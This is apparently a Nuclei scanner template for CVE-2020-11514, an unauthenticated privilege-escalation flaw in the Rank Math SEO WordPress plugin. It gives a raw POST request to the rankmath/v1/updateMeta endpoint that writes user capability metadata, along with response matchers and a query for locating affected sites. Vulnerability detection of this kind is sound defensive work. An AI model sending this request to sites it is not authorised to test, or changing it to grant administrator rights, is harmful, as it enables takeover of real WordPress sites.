CVE-2020-11514: Rank Math SEO <= 1.0.40.2 - Privilege Escalation via Unprotected REST API Endpoint

id: CVE-2020-11514

info:
  name: Rank Math SEO <= 1.0.40.2 - Privilege Escalation via Unprotected REST API Endpoint
  author: s4e-io
  severity: critical
  description: |
    The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to update arbitrary WordPress metadata, including the ability to escalate or revoke administrative privileges for existing users via the unsecured rankmath/v1/updateMeta REST API endpoint.
  reference:
    - https://www.wordfence.com/blog/2020/03/critical-vulnerabilities-affecting-over-200000-sites-patched-in-rank-math-seo-plugin/
    - https://rankmath.com/changelog/
    - https://wordpress.org/plugins/seo-by-rank-math/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11514
    cwe-id: CWE-862
    epss-score: 0.62534
    epss-percentile: 0.98323
    cpe: cpe:2.3:a:rankmath:seo:*:*:*:*:free:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rankmath
    product: seo
    framework: wordpress
    publicwww-query: "/wp-content/plugins/seo-by-rank-math/"
  tags: cve,cve2020,wordpress,wordfence,seo-by-rank-math,wp-plugin,priv-esc,unauth

variables:
  objecttype: "{{randstr}}"
  rank: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /wp-json/rankmath/v1/updateMeta HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "objectID": "{{rand_int(1)}}",
          "objectType": "{{objecttype}}",
          "meta": {
            "rank_math_capabilities": ["{{rank}}"]
          }
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "true")'
          - 'contains(content_type, "application/json")'
          - "status_code == 200"
        condition: and
# digest: 490a00463044022050cba737b7b5e28fe16f34eaaea76325c83c40fa45e826e446c0f55a21eafd7a0220641c29eab25bd47bce79599feff71b5c422c3a6cda07dc10246bd656453850cb:922c64590222798bb761d5b6d8e72950